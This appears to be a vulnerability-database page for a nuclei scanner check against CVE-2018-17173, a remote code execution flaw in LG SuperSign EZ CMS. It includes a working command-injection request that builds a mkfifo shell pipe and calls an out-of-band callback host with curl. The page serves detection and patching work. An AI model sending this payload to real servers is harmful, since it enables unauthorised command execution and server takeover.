LG Supersign EZ CMS - Remote Code Execution

criticalseverity

9.8CVSS score

56.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

LG SuperSign CMS allows remote attackers to execute arbitrary code via the sourceUri parameter to qsr_server/device/getThumbnail.

Impact

Unauthenticated attackers can execute arbitrary system commands on LG SuperSign CMS servers via the sourceUri parameter, leading to complete server compromise and potential access to connected digital signage systems.

Fix

Upgrade to a patched version of LG SuperSign CMS that addresses CVE-2018-17173.

How to confirm it

Send: GET /qsr_server/device/getThumbnail?sourceUri=\'%2b-%253brm%2b/tmp/f%253bmkfifo%2b/tmp/f%253bcat%2b/tmp/f|/bin/sh%2b-i%2b2>%25261|curl%2bhttp%253a//{{interacts…
Positive when: contains in interactsh_protocol "http" or "dns" AND contains in interactsh_request "User-Agent: curl"

Run it with nuclei: nuclei -id CVE-2018-17173 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-17173

info:
  name: LG Supersign EZ CMS - Remote Code Execution
  author: pussycat0x
  severity: critical
  description: |
    LG SuperSign CMS allows remote attackers to execute arbitrary code via the sourceUri parameter to qsr_server/device/getThumbnail.
  impact: |
    Unauthenticated attackers can execute arbitrary system commands on LG SuperSign CMS servers via the sourceUri parameter, leading to complete server compromise and potential access to connected digital signage systems.
  remediation: |
    Upgrade to a patched version of LG SuperSign CMS that addresses CVE-2018-17173.
  reference:
    - http://mamaquieroserpentester.blogspot.com/2018/09/lg-supersign-rce-to-luna-and-back-to.html
    - http://packetstormsecurity.com/files/152733/LG-Supersign-EZ-CMS-Remote-Code-Execution.html
    - https://www.exploit-db.com/exploits/45448/
    - https://www.exploit-db.com/exploits/46795/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17173
    cwe-id: CWE-94
    epss-score: 0.56513
    epss-percentile: 0.99066
    cpe: cpe:2.3:a:lg:supersign_cms:2.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lg
    product: supersign_cms
    fofa-query: title="LG SuperSign"
  tags: cve,cve2018,lg,supersign-cms,rce,vkev,vuln

http:
  - raw:
      - |
        GET /qsr_server/device/getThumbnail?sourceUri=\'%2b-%253brm%2b/tmp/f%253bmkfifo%2b/tmp/f%253bcat%2b/tmp/f|/bin/sh%2b-i%2b2>%25261|curl%2bhttp%253a//{{interactsh-url}}%2b>/tmp/f%253b\';&targetUri=%2Ftmp%2Fthumb%2Ftest.jpg&mediaType=image&targetWidth=400&targetHeight=400&scaleType=crop&_=1537275717150 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

References

Use this check only on systems you are authorised to test. Where the data comes from